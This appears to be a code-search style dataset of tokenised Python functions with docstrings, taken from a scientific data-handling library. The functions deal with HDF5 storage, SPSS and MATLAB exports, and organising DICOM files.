{"signature": "def append_dict_values(list_of_dicts, keys=None):", "body": "if keys is None:<EOL><INDENT>keys = list(list_of_dicts[<NUM_LIT:0>].keys())<EOL><DEDENT>dict_of_lists = DefaultOrderedDict(list)<EOL>for d in list_of_dicts:<EOL><INDENT>for k in keys:<EOL><INDENT>dict_of_lists[k].append(d[k])<EOL><DEDENT><DEDENT>return dict_of_lists<EOL>", "docstring": "Return a dict of lists from a list of dicts with the same keys.\nFor each dict in list_of_dicts with look for the values of the\ngiven keys and append it to the output dict.\n\nParameters\n----------\nlist_of_dicts: list of dicts\n\nkeys: list of str\n    List of keys to create in the output dict\n    If None will use all keys in the first element of list_of_dicts\nReturns\n-------\nDefaultOrderedDict of lists", "id": "f4062:m2"}
{"signature": "def __init__(self, dir=None, filepath=None, hdf_basepath='<STR_LIT:/>',<EOL>overwrite_if_exist=False, remove_on_destroy=False):", "body": "if dir is None:<EOL><INDENT>dir = tempfile.gettempdir()<EOL><DEDENT>if filepath is None:<EOL><INDENT>self._fname = self.get_temp_file(dir)<EOL><DEDENT>else:<EOL><INDENT>self._fname = filepath<EOL><DEDENT>self._fname = self.get_temp_file(dir).name<EOL>self._remove_on_destroy = remove_on_destroy<EOL>self._overwrite = overwrite_if_exist<EOL>self._hdf_basepath = hdf_basepath<EOL>self._hdf_file = None<EOL>self._group = None<EOL>self._datasets = {}<EOL>self.create_hdf_file()<EOL>", "docstring": ":param dir: string\n\n:param filepath: string\n\n:param hdf_basepath: string\n\n:param overwrite_if_exist: bool\n\n:param remove_on_destroy: bool", "id": "f4063:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def get_temp_file(dir=None, suffix='<STR_LIT>'):<DEDENT>", "body": "return tempfile.NamedTemporaryFile(dir=dir, suffix=suffix)<EOL>", "docstring": "Uses tempfile to create a NamedTemporaryFile using\nthe default arguments.\n\n@param dir: string\nDirectory where it must be created.\nIf dir is specified, the file will be created\nin that directory, otherwise, a default directory is used.\nThe default directory is chosen from a platform-dependent\nlist, but the user of the application can control the\ndirectory location by setting the TMPDIR, TEMP or TMP\nenvironment variables.\n\n@param suffix: string\nFile name suffix.\nIt does not put a dot between the file name and the\nsuffix; if you need one, put it at the beginning of suffix.\n\n@return: file object\n\n@note:\nClose it once you have used the file.", "id": "f4063:c0:m1"}
{"signature": "def __del__(self):", "body": "self._hdf_file.close()<EOL>if self._remove_on_destroy:<EOL><INDENT>os.remove(self._fname)<EOL><DEDENT>", "docstring": "Class destructor", "id": "f4063:c0:m2"}
{"signature": "def create_hdf_file(self):", "body": "mode = '<STR_LIT:w>'<EOL>if not self._overwrite and os.path.exists(self._fname):<EOL><INDENT>mode = '<STR_LIT:a>'<EOL><DEDENT>self._hdf_file = h5py.File(self._fname, mode)<EOL>if self._hdf_basepath == '<STR_LIT:/>':<EOL><INDENT>self._group = self._hdf_file['<STR_LIT:/>']<EOL><DEDENT>else:<EOL><INDENT>self._group = self._hdf_file.create_group(self._hdf_basepath)<EOL><DEDENT>", "docstring": ":return: h5py DataSet", "id": "f4063:c0:m3"}
{"signature": "def get_dataset(self, ds_name, mode='<STR_LIT:r>'):", "body": "if ds_name in self._datasets:<EOL><INDENT>return self._datasets[ds_name]<EOL><DEDENT>else:<EOL><INDENT>return self.create_empty_dataset(ds_name)<EOL><DEDENT>", "docstring": "Returns a h5py dataset given its registered name.\n\n:param ds_name: string\nName of the dataset to be returned.\n\n:return:", "id": "f4063:c0:m4"}
{"signature": "def create_empty_dataset(self, ds_name, dtype=np.float32):", "body": "if ds_name in self._datasets:<EOL><INDENT>return self._datasets[ds_name]<EOL><DEDENT>ds = self._group.create_dataset(ds_name, (<NUM_LIT:1>, <NUM_LIT:1>), maxshape=None,<EOL>dtype=dtype)<EOL>self._datasets[ds_name] = ds<EOL>return ds<EOL>", "docstring": "Creates a Dataset with unknown size.\nResize it before using.\n\n:param ds_name: string\n\n:param dtype: dtype\nDatatype of the dataset\n\n:return: h5py DataSet", "id": "f4063:c0:m5"}
{"signature": "def create_dataset(self, ds_name, data, attrs=None, dtype=None):", "body": "if ds_name in self._datasets:<EOL><INDENT>ds = self._datasets[ds_name]<EOL>if ds.dtype != data.dtype:<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if dtype is None:<EOL><INDENT>dtype = data.dtype<EOL><DEDENT>ds = self._group.create_dataset(ds_name, data.shape,<EOL>dtype=dtype)<EOL>if attrs is not None:<EOL><INDENT>for key in attrs:<EOL><INDENT>setattr(ds.attrs, key, attrs[key])<EOL><DEDENT><DEDENT><DEDENT>ds.read_direct(data)<EOL>self._datasets[ds_name] = ds<EOL>return ds<EOL>", "docstring": "Saves a Numpy array in a dataset in the HDF file, registers it as\nds_name and returns the h5py dataset.\n\n:param ds_name: string\nRegistration name of the dataset to be registered.\n\n:param data: Numpy ndarray\n\n:param dtype: dtype\nDatatype of the dataset\n\n:return: h5py dataset", "id": "f4063:c0:m6"}
{"signature": "def save(self, ds_name, data, dtype=None):", "body": "return self.create_dataset(ds_name, data, dtype)<EOL>", "docstring": "See create_dataset.", "id": "f4063:c0:m7"}
{"signature": "@staticmethod<EOL><INDENT>def _fill_missing_values(df, range_values, fill_value=<NUM_LIT:0>, fill_method=None):<DEDENT>", "body": "idx_colnames  = df.index.names<EOL>idx_colranges = [range_values[x] for x in idx_colnames]<EOL>fullindex = pd.Index([p for p in product(*idx_colranges)],<EOL>name=tuple(idx_colnames))<EOL>fulldf = df.reindex(index=fullindex, fill_value=fill_value,<EOL>method=fill_method)<EOL>fulldf.index.names = idx_colnames<EOL>return fulldf, idx_colranges<EOL>", "docstring": "Will get the names of the index colums of df, obtain their ranges from\nrange_values dict and return a reindexed version of df with the given\nrange values.\n\n:param df: pandas DataFrame\n\n:param range_values: dict or array-like\nMust contain for each index column of df an entry with all the values\nwithin the range of the column.\n\n:param fill_value: scalar or 'nearest', default 0\nValue to use for missing values. Defaults to 0, but can be any\n\"compatible\" value, e.g., NaN.\nThe 'nearest' mode will fill the missing value with the nearest value in\n the column.\n\n:param fill_method:  {'backfill', 'bfill', 'pad', 'ffill', None}, default None\nMethod to use for filling holes in reindexed DataFrame\n'pad' / 'ffill': propagate last valid observation forward to next valid\n'backfill' / 'bfill': use NEXT valid observation to fill gap\n\n:return: pandas Dataframe and used column ranges\nreindexed DataFrame and dict with index column ranges", "id": "f4063:c1:m2"}
{"signature": "def get(self, key):", "body": "node = self.get_node(key)<EOL>if node is None:<EOL><INDENT>raise KeyError('<STR_LIT>' % key)<EOL><DEDENT>if hasattr(node, '<STR_LIT>'):<EOL><INDENT>if '<STR_LIT>' in node.attrs:<EOL><INDENT>return self._read_group(node)<EOL><DEDENT><DEDENT>return self._read_array(node)<EOL>", "docstring": "Retrieve pandas object or group of Numpy ndarrays\nstored in file\n\nParameters\n----------\nkey : object\n\nReturns\n-------\nobj : type of object stored in file", "id": "f4063:c1:m3"}
{"signature": "def put(self, key, value, attrs=None, format=None, append=False, **kwargs):", "body": "if not isinstance(value, np.ndarray):<EOL><INDENT>super(NumpyHDFStore, self).put(key, value, format, append, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>group = self.get_node(key)<EOL>if group is not None and not append:<EOL><INDENT>self._handle.removeNode(group, recursive=True)<EOL>group = None<EOL><DEDENT>if group is None:<EOL><INDENT>paths = key.split('<STR_LIT:/>')<EOL>path = '<STR_LIT:/>'<EOL>for p in paths:<EOL><INDENT>if not len(p):<EOL><INDENT>continue<EOL><DEDENT>new_path = path<EOL>if not path.endswith('<STR_LIT:/>'):<EOL><INDENT>new_path += '<STR_LIT:/>'<EOL><DEDENT>new_path += p<EOL>group = self.get_node(new_path)<EOL>if group is None:<EOL><INDENT>group = self._handle.createGroup(path, p)<EOL><DEDENT>path = new_path<EOL><DEDENT><DEDENT>ds_name = kwargs.get('<STR_LIT>', self._array_dsname)<EOL>ds = self._handle.createArray(group, ds_name, value)<EOL>if attrs is not None:<EOL><INDENT>for key in attrs:<EOL><INDENT>setattr(ds.attrs, key, attrs[key])<EOL><DEDENT><DEDENT>self._handle.flush()<EOL>return ds<EOL><DEDENT>", "docstring": "Store object in HDFStore\n\nParameters\n----------\nkey : str\n\nvalue : {Series, DataFrame, Panel, Numpy ndarray}\n\nformat : 'fixed(f)|table(t)', default is 'fixed'\n    fixed(f) : Fixed format\n        Fast writing/reading. Not-appendable, nor searchable\n\n    table(t) : Table format\n        Write as a PyTables Table structure which may perform worse but allow more flexible operations\n        like searching/selecting subsets of the data\n\nappend : boolean, default False\n    This will force Table format, append the input data to the\n    existing.\n\nencoding : default None, provide an encoding for strings", "id": "f4063:c1:m4"}
{"signature": "def _push_dfblock(self, key, df, ds_name, range_values):", "body": "<EOL>vals_colranges = [range_values[x] for x in df.index.names]<EOL>nu_shape = [len(x) for x in vals_colranges]<EOL>return self.put(key, np.reshape(df.values, tuple(nu_shape)),<EOL>attrs={'<STR_LIT>': df.index.names},<EOL>ds_name=ds_name, append=True)<EOL>", "docstring": ":param key: string\n:param df: pandas Dataframe\n:param ds_name: string", "id": "f4063:c1:m5"}
{"signature": "def put_df_as_ndarray(self, key, df, range_values, loop_multiindex=False,<EOL>unstack=False, fill_value=<NUM_LIT:0>, fill_method=None):", "body": "idx_colnames = df.index.names<EOL>if key is None:<EOL><INDENT>key = idx_colnames[<NUM_LIT:0>]<EOL><DEDENT>if loop_multiindex:<EOL><INDENT>idx_values = df.index.get_level_values(<NUM_LIT:0>).unique()<EOL>for idx in idx_values:<EOL><INDENT>vals, _ = self._fill_missing_values(df.xs((idx,), level=idx_colnames[<NUM_LIT:0>]),<EOL>range_values,<EOL>fill_value=fill_value,<EOL>fill_method=fill_method)<EOL>ds_name = str(idx) + '<STR_LIT:_>' + '<STR_LIT:_>'.join(vals.columns)<EOL>self._push_dfblock(key, vals, ds_name, range_values)<EOL><DEDENT>return self._handle.get_node('<STR_LIT:/>' + str(key))<EOL><DEDENT>else:<EOL><INDENT>if unstack:<EOL><INDENT>df = df.unstack(idx_colnames[<NUM_LIT:0>])<EOL>for idx in df:<EOL><INDENT>vals, _ = self._fill_missing_values(df[idx], range_values,<EOL>fill_value=fill_value,<EOL>fill_method=fill_method)<EOL>vals = np.nan_to_num(vals)<EOL>ds_name = '<STR_LIT:_>'.join([str(x) for x in vals.name])<EOL>self._push_dfblock(key, vals, ds_name, range_values)<EOL><DEDENT>return self._handle.get_node('<STR_LIT:/>' + str(key))<EOL><DEDENT><DEDENT>vals, _ = self._fill_missing_values(df, range_values,<EOL>fill_value=fill_value,<EOL>fill_method=fill_method)<EOL>ds_name = self._array_dsname<EOL>return self._push_dfblock(key, vals, ds_name, range_values)<EOL>", "docstring": "Returns a PyTables HDF Array from df in the shape given by its index columns range values.\n\n        :param key: string object\n\n        :param df: pandas DataFrame\n\n        :param range_values: dict or array-like\n        Must contain for each index column of df an entry with all the values\n        within the range of the column.\n\n        :param loop_multiindex: bool\n        Will loop through the first index in a multiindex dataframe, extract a\n        dataframe only for one value, complete and fill the missing values and\n        store in the HDF.\n        If this is True, it will not use unstack.\n        This is as fast as unstacking.\n\n        :param unstack: bool\n        Unstack means that this will use the first index name to\n        unfold the DataFrame, and will create a group with as many datasets\n        as valus has this first index.\n        Use this if you think the filled dataframe won't fit in your RAM memory.\n        If set to False, this will transform the dataframe in memory first\n        and only then save it.\n\n        :param fill_value: scalar or 'nearest', default 0\n        Value to use for missing values. Defaults to 0, but can be any\n        \"compatible\" value, e.g., NaN.\n        The 'nearest' mode will fill the missing value with the nearest value in\n         the column.\n\n        :param fill_method:  {'backfill', 'bfill', 'pad', 'ffill', None}, default None\n        Method to use for filling holes in reindexed DataFrame\n        'pad' / 'ffill': propagate last valid observation forward to next valid\n        'backfill' / 'bfill': use NEXT valid observation to fill gap\n\n        :return: PyTables data node", "id": "f4063:c1:m6"}
{"signature": "def sav_to_pandas_rpy2(input_file):", "body": "import pandas.rpy.common as com<EOL>w = com.robj.r('<STR_LIT>' % input_file)<EOL>return com.convert_robj(w)<EOL>", "docstring": "SPSS .sav files to Pandas DataFrame through Rpy2\n\n:param input_file: string\n\n:return:", "id": "f4065:m0"}
{"signature": "def sav_to_pandas_savreader(input_file):", "body": "from savReaderWriter import SavReader<EOL>lines = []<EOL>with SavReader(input_file, returnHeader=True) as reader:<EOL><INDENT>header = next(reader)<EOL>for line in reader:<EOL><INDENT>lines.append(line)<EOL><DEDENT><DEDENT>return pd.DataFrame(data=lines, columns=header)<EOL>", "docstring": "SPSS .sav files to Pandas DataFrame through savreader module\n\n:param input_file: string\n\n:return:", "id": "f4065:m1"}
{"signature": "def save_variables_to_shelve(file_path, variables):", "body": "mashelf = shelve.open(file_path, '<STR_LIT:n>')<EOL>for vn in variables.keys():<EOL><INDENT>try:<EOL><INDENT>mashelf[vn] = variables[vn]<EOL><DEDENT>except KeyError as ke:<EOL><INDENT>raise Exception('<STR_LIT>'.format(vn)) from ke<EOL><DEDENT><DEDENT>mashelf.close()<EOL>", "docstring": "Parameters\n----------\nfile_path: str\n\nvariables: dict\n    Dictionary with objects. Object name -> object\n\nNotes\n-----\n    Before calling this function, create a varlist this way:\n\n    shelfvars = []\n    for v in varnames:\n        shelfvars.append(eval(v))\n\n    #to_restore variables from shelf\n    my_shelf = shelve.open(filename)\n    for key in my_shelf:\n       globals()[key]=my_shelf[key]\n    my_shelf.close()", "id": "f4065:m2"}
{"signature": "def save_variables_to_mat(file_path, variables, format='<STR_LIT:5>'):", "body": "try:<EOL><INDENT>sio.savemat(file_path, variables, format=format)<EOL><DEDENT>except IOError as ioe:<EOL><INDENT>raise IOError('<STR_LIT>'.format(file_path)) from ioe<EOL><DEDENT>", "docstring": "Parameters\n---------\nfile_path: str\n\nvariables: dict\n    Dictionary with objects. Object name -> object\n\nformat : {'5', '4'}, string, optional\n    '5' (the default) for MATLAB 5 and up (to 7.2),\n    '4' for MATLAB 4 .mat files\n    See scipy.io.savemat dostrings.", "id": "f4065:m3"}
{"signature": "@staticmethod<EOL><INDENT>def save_variables(filename, variables):<DEDENT>", "body": "ext = get_extension(filename).lower()<EOL>out_exts = {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}<EOL>output_file = filename<EOL>if not ext in out_exts:<EOL><INDENT>output_file = add_extension_if_needed(filename, '<STR_LIT>')<EOL>ext = get_extension(filename)<EOL><DEDENT>if ext == '<STR_LIT>' or ext == '<STR_LIT>':<EOL><INDENT>save_variables_to_shelve(output_file, variables)<EOL><DEDENT>elif ext == '<STR_LIT>':<EOL><INDENT>save_variables_to_mat(output_file, variables)<EOL><DEDENT>elif ext == '<STR_LIT>' or ext == '<STR_LIT>':<EOL><INDENT>from .hdf5 import save_variables_to_hdf5<EOL>save_variables_to_hdf5(output_file, variables)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(ext))<EOL><DEDENT>", "docstring": "Save given variables in a file.\n        Valid extensions: '.pyshelf' or '.shelf' (Python shelve)\n                          '.mat' (Matlab archive),\n                          '.hdf5' or '.h5' (HDF5 file)\n\n        Parameters\n        ----------\n        filename: str\n            Output file path.\n\n        variables: dict\n            Dictionary varname -> variable\n\n        Raises\n        ------\n        ValueError: if the extension of the filesname is not recognized.", "id": "f4065:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def save_varlist(filename, varnames, varlist):<DEDENT>", "body": "variables = {}<EOL>for i, vn in enumerate(varnames):<EOL><INDENT>variables[vn] = varlist[i]<EOL><DEDENT>ExportData.save_variables(filename, variables)<EOL>", "docstring": "Valid extensions '.pyshelf', '.mat', '.hdf5' or '.h5'\n\n@param filename: string\n\n@param varnames: list of strings\nNames of the variables\n\n@param varlist: list of objects\nThe objects to be saved", "id": "f4065:c0:m2"}
{"signature": "def save_variables_to_hdf5(file_path, variables, mode='<STR_LIT:w>', h5path='<STR_LIT:/>'):", "body": "if not isinstance(variables, dict):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(type(variables)))<EOL><DEDENT>if not variables:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>h5file  = h5py.File(file_path, mode=mode)<EOL>h5group = h5file.require_group(h5path)<EOL>for vn in variables:<EOL><INDENT>data = variables[vn]<EOL>if hasattr(data, '<STR_LIT>') and (data.dtype.type is np.string_ or data.dtype.type is np.unicode_):<EOL><INDENT>dt   = h5py.special_dtype(vlen=str)<EOL>data = data.astype(dt)<EOL><DEDENT>if isinstance(data, dict):<EOL><INDENT>for key in data:<EOL><INDENT>h5group[str(key)] = data[key]<EOL><DEDENT><DEDENT>elif isinstance(data, list):<EOL><INDENT>for idx, item in enumerate(data):<EOL><INDENT>h5group[str(idx)] = item<EOL><DEDENT><DEDENT>else:<EOL><INDENT>h5group[vn] = data<EOL><DEDENT><DEDENT>h5file.close()<EOL>", "docstring": "Parameters\n----------\nfile_path: str\n\nvariables: dict\n    Dictionary with objects. Object name -> object\n\nmode: str\n    HDF5 file access mode\n    See h5py documentation for details.\n    r   Readonly, file must exist\n    r+  Read/write, file must exist\n    w   Create file, truncate if exists\n    w-  Create file, fail if exists\n    a   Read/write if exists, create otherwise (default)\n\nNotes\n-----\nIt is recommended to use numpy arrays as objects.\nList or tuples of strings won't work, convert them into numpy.arrays before.", "id": "f4066:m0"}
{"signature": "def get_h5file(file_path, mode='<STR_LIT:r>'):", "body": "if not op.exists(file_path):<EOL><INDENT>raise IOError('<STR_LIT>'.format(file_path))<EOL><DEDENT>try:<EOL><INDENT>h5file = h5py.File(file_path, mode=mode)<EOL><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>return h5file<EOL><DEDENT>", "docstring": "Return the h5py.File given its file path.\n\n    Parameters\n    ----------\n    file_path: string\n        HDF5 file path\n\n    mode: string\n        r   Readonly, file must exist\n        r+  Read/write, file must exist\n        w   Create file, truncate if exists\n        w-  Create file, fail if exists\n        a   Read/write if exists, create otherwise (default)\n\n    Returns\n    -------\n    h5file: h5py.File", "id": "f4066:m1"}
{"signature": "def get_group_names(h5file, h5path='<STR_LIT:/>'):", "body": "return _get_node_names(h5file, h5path, node_type=h5py.Group)<EOL>", "docstring": "Return the groups names within h5file/h5path\n\n    Parameters\n    ----------\n    h5file: h5py.File or path to hdf5 file\n        HDF5 file object\n\n    h5path: str\n        HDF5 group path to get the group names from\n\n    Returns\n    -------\n    groupnames: list of str\n        List of group names", "id": "f4066:m2"}
{"signature": "def get_dataset_names(h5file, h5path='<STR_LIT:/>'):", "body": "return _get_node_names(h5file, h5path, node_type=h5py.Dataset)<EOL>", "docstring": "Return all dataset names from h5path group in h5file.\n\n    Parameters\n    ----------\n    h5file: h5py.File\n        HDF5 file object\n\n    h5path: str\n        HDF5 group path to read datasets from\n\n    Returns\n    -------\n    dsnames: list of str\n        List of dataset names contained in h5file/h5path", "id": "f4066:m3"}
{"signature": "def get_datasets(h5file, h5path='<STR_LIT:/>'):", "body": "return _get_nodes(h5file, h5path, node_type=h5py.Dataset)<EOL>", "docstring": "Return all datasets from h5path group in file_path.\n\n    Parameters\n    ----------\n    h5file: h5py.File\n        HDF5 file object\n\n    h5path: str\n        HDF5 group path to read datasets from\n\n    Returns\n    -------\n    datasets: dict\n        Dict with all h5py.Dataset contained in file_path/h5path", "id": "f4066:m4"}
{"signature": "def extract_datasets(h5file, h5path='<STR_LIT:/>'):", "body": "if isinstance(h5file, str):<EOL><INDENT>_h5file = h5py.File(h5file, mode='<STR_LIT:r>')<EOL><DEDENT>else:<EOL><INDENT>_h5file = h5file<EOL><DEDENT>_datasets = get_datasets(_h5file, h5path)<EOL>datasets  = OrderedDict()<EOL>try:<EOL><INDENT>for ds in _datasets:<EOL><INDENT>datasets[ds.name.split('<STR_LIT:/>')[-<NUM_LIT:1>]] = ds[:]<EOL><DEDENT><DEDENT>except:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(_h5file.filename, h5path))<EOL><DEDENT>finally:<EOL><INDENT>if isinstance(h5file, str):<EOL><INDENT>_h5file.close()<EOL><DEDENT><DEDENT>return datasets<EOL>", "docstring": "Return all dataset contents from h5path group in h5file in an OrderedDict.\n\n    Parameters\n    ----------\n    h5file: h5py.File\n        HDF5 file object\n\n    h5path: str\n        HDF5 group path to read datasets from\n\n    Returns\n    -------\n    datasets: OrderedDict\n        Dict with variables contained in file_path/h5path", "id": "f4066:m5"}
{"signature": "def _get_node_names(h5file, h5path='<STR_LIT:/>', node_type=h5py.Dataset):", "body": "if isinstance(h5file, str):<EOL><INDENT>_h5file = get_h5file(h5file, mode='<STR_LIT:r>')<EOL><DEDENT>else:<EOL><INDENT>_h5file = h5file<EOL><DEDENT>if not h5path.startswith('<STR_LIT:/>'):<EOL><INDENT>h5path = '<STR_LIT:/>' + h5path<EOL><DEDENT>names = []<EOL>try:<EOL><INDENT>h5group = _h5file.require_group(h5path)<EOL>for node in _hdf5_walk(h5group, node_type=node_type):<EOL><INDENT>names.append(node.name)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(_h5file.filename, h5path))<EOL><DEDENT>finally:<EOL><INDENT>if isinstance(h5file, str):<EOL><INDENT>_h5file.close()<EOL><DEDENT><DEDENT>return names<EOL>", "docstring": "Return the node of type node_type names within h5path of h5file.\n\n    Parameters\n    ----------\n    h5file: h5py.File\n        HDF5 file object\n\n    h5path: str\n        HDF5 group path to get the group names from\n\n    node_type: h5py object type\n        HDF5 object type\n\n    Returns\n    -------\n    names: list of str\n        List of names", "id": "f4066:m7"}
{"signature": "def _get_nodes(h5file, h5path='<STR_LIT:/>', node_type=h5py.Dataset):", "body": "if isinstance(h5file, str):<EOL><INDENT>_h5file = get_h5file(h5file, mode='<STR_LIT:r>')<EOL><DEDENT>else:<EOL><INDENT>_h5file = h5file<EOL><DEDENT>if not h5path.startswith('<STR_LIT:/>'):<EOL><INDENT>h5path = '<STR_LIT:/>' + h5path<EOL><DEDENT>names = []<EOL>try:<EOL><INDENT>h5group = _h5file.require_group(h5path)<EOL>for node in _hdf5_walk(h5group, node_type=node_type):<EOL><INDENT>names.append(node)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(str(node_type), _h5file.filename, h5path))<EOL><DEDENT>finally:<EOL><INDENT>if isinstance(h5file, str):<EOL><INDENT>_h5file.close()<EOL><DEDENT><DEDENT>return names<EOL>", "docstring": "Return the nodes within h5path of the h5file.\n\n    Parameters\n    ----------\n    h5file: h5py.File\n        HDF5 file object\n\n    h5path: str\n        HDF5 group path to get the nodes from\n\n    node_type: h5py object type\n        The type of the nodes that you want to get\n\n    Returns\n    -------\n    nodes: list of node_type objects", "id": "f4066:m8"}
{"signature": "def create_dicom_subject_folders(out_path, dicom_sets):", "body": "import shutil<EOL>if not os.path.exists(out_path):<EOL><INDENT>os.mkdir(out_path)<EOL><DEDENT>new_groups = defaultdict(list)<EOL>for group in dicom_sets:<EOL><INDENT>group_path = os.path.join(out_path, str(group))<EOL>os.mkdir(group_path)<EOL>group_dicoms = dicom_sets[group]<EOL>for idx, dcm in enumerate(group_dicoms):<EOL><INDENT>num = str(idx).zfill(<NUM_LIT:5>)<EOL>new_dcm = os.path.join(group_path, num + DICOM_FILE_EXTENSIONS[<NUM_LIT:0>].lower())<EOL>log.info('<STR_LIT>'.format(dcm, new_dcm))<EOL>shutil.copyfile(dcm, new_dcm)<EOL>new_groups[group].append(new_dcm)<EOL><DEDENT><DEDENT>return new_groups<EOL>", "docstring": ":param out_path: str\n Path to the output directory\n\n:param dicom_sets: dict of {str: list of strs}\n Groups of dicom files", "id": "f4067:m0"}
{"signature": "def rename_file_group_to_serial_nums(file_lst):", "body": "file_lst.sort()<EOL>c = <NUM_LIT:1><EOL>for f in file_lst:<EOL><INDENT>dirname = get_abspath(f.dirname())<EOL>fdest = f.joinpath(dirname, \"<STR_LIT>\".format(c) +<EOL>OUTPUT_DICOM_EXTENSION)<EOL>log.info('<STR_LIT>'.format(f, fdest))<EOL>f.rename(fdest)<EOL>c += <NUM_LIT:1><EOL><DEDENT>", "docstring": "Will rename all files in file_lst to a padded serial\n    number plus its extension\n\n    :param file_lst: list of path.py paths", "id": "f4067:m1"}
{"signature": "def __init__(self, folders=None):", "body": "self.items = []<EOL>if folders is not None:<EOL><INDENT>self._store_dicom_paths(folders)<EOL><DEDENT>", "docstring": ":param folders: str or list of strs\n    Path or paths to folders to be searched for Dicom files", "id": "f4067:c0:m0"}
{"signature": "def _store_dicom_paths(self, folders):", "body": "if isinstance(folders, str):<EOL><INDENT>folders = [folders]<EOL><DEDENT>for folder in folders:<EOL><INDENT>if not os.path.exists(folder):<EOL><INDENT>raise FolderNotFound(folder)<EOL><DEDENT>self.items.extend(list(find_all_dicom_files(folder)))<EOL><DEDENT>", "docstring": "Search for dicoms in folders and save file paths into\n        self.dicom_paths set.\n\n        :param folders: str or list of str", "id": "f4067:c0:m1"}
{"signature": "def from_folders(self, folders):", "body": "self.items = []<EOL>self._store_dicom_paths(folders)<EOL>", "docstring": "Restart the self.items and stores all dicom file paths found\nwithin folders\n\nParameters\n----------\nfolders: str or list of str", "id": "f4067:c0:m2"}
{"signature": "def from_set(self, fileset, check_if_dicoms=True):", "body": "if check_if_dicoms:<EOL><INDENT>self.items = []<EOL>for f in fileset:<EOL><INDENT>if is_dicom_file(f):<EOL><INDENT>self.items.append(f)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self.items = fileset<EOL><DEDENT>", "docstring": "Overwrites self.items with the given set of files.\n        Will filter the fileset and keep only Dicom files.\n\n        Parameters\n        ----------\n        fileset: iterable of str\n        Paths to files\n\n        check_if_dicoms: bool\n        Whether to check if the items in fileset are dicom file paths", "id": "f4067:c0:m3"}
{"signature": "def update(self, dicomset):", "body": "if not isinstance(dicomset, DicomFileSet):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.items = list(set(self.items).update(dicomset))<EOL>", "docstring": "Update this set with the union of itself and dicomset.\n\n        Parameters\n        ----------\n        dicomset: DicomFileSet", "id": "f4067:c0:m4"}
{"signature": "def copy_files_to_other_folder(self, output_folder, rename_files=True,<EOL>mkdir=True, verbose=False):", "body": "import shutil<EOL>if not os.path.exists(output_folder):<EOL><INDENT>os.mkdir(output_folder)<EOL><DEDENT>if not rename_files:<EOL><INDENT>for dcmf in self.items:<EOL><INDENT>outf = os.path.join(output_folder, os.path.basename(dcmf))<EOL>if verbose:<EOL><INDENT>print('<STR_LIT>'.format(dcmf, outf))<EOL><DEDENT>shutil.copyfile(dcmf, outf)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>n_pad = len(self.items)+<NUM_LIT:2><EOL>for idx, dcmf in enumerate(self.items):<EOL><INDENT>outf = '<STR_LIT>'.format(width=n_pad, number=idx)<EOL>outf = os.path.join(output_folder, outf)<EOL>if verbose:<EOL><INDENT>print('<STR_LIT>'.format(dcmf, outf))<EOL><DEDENT>shutil.copyfile(dcmf, outf)<EOL><DEDENT><DEDENT>", "docstring": "Copies all files within this set to the output_folder\n\nParameters\n----------\noutput_folder: str\nPath of the destination folder of the files\n\nrename_files: bool\nWhether or not rename the files to a sequential format\n\nmkdir: bool\nWhether to make the folder if it does not exist\n\nverbose: bool\nWhether to print to stdout the files that are beind copied", "id": "f4067:c0:m5"}
{"signature": "def __init__(self, folders, read_metadata=True, header_fields=None):", "body": "DicomFileSet.__init__(self,  folders)<EOL>self.read_dcm = self.get_dcm_reader(read_metadata, header_fields)<EOL>", "docstring": ":param folders: str or list of strs\nPath or paths to folders to be searched for Dicom files\n\n:param read_metadata: bool\nIf True, will make a list of DicomFiles, otherwise will store\na simple DICOM header (namedtuples) with the fields specified\nin header_fields.\n\n:param header_fields: set of strings\nSet of header fields to be read from each DICOM file in a DicomHeader.\nIf store_metadata is False, this won't be used. Else and if this is\nNone, will store the whole DicomFile.", "id": "f4067:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def get_dcm_reader(store_metadata=True, header_fields=None):<DEDENT>", "body": "if not store_metadata:<EOL><INDENT>return lambda fpath: fpath<EOL><DEDENT>if header_fields is None:<EOL><INDENT>build_dcm = lambda fpath: DicomFile(fpath)<EOL><DEDENT>else:<EOL><INDENT>dicom_header = namedtuple('<STR_LIT>', header_fields)<EOL>build_dcm = lambda fpath: dicom_header._make(DicomFile(fpath).get_attributes(header_fields))<EOL><DEDENT>return build_dcm<EOL>", "docstring": "Creates a lambda function to read DICOM files.\nIf store_store_metadata is False, will only return the file path.\nElse if you give header_fields, will return only the set of of\nheader_fields within a DicomFile object or the whole DICOM file if\nNone.\n\n:return: function\nThis function has only one parameter: file_path", "id": "f4067:c1:m1"}
{"signature": "def scrape_all_files(self):", "body": "try:<EOL><INDENT>for dcmf in self.items:<EOL><INDENT>yield self.read_dcm(dcmf)<EOL><DEDENT><DEDENT>except IOError as ioe:<EOL><INDENT>raise IOError('<STR_LIT>'.format(dcmf)) from ioe<EOL><DEDENT>", "docstring": "Generator that yields one by one the return value for self.read_dcm\nfor each file within this set", "id": "f4067:c1:m2"}
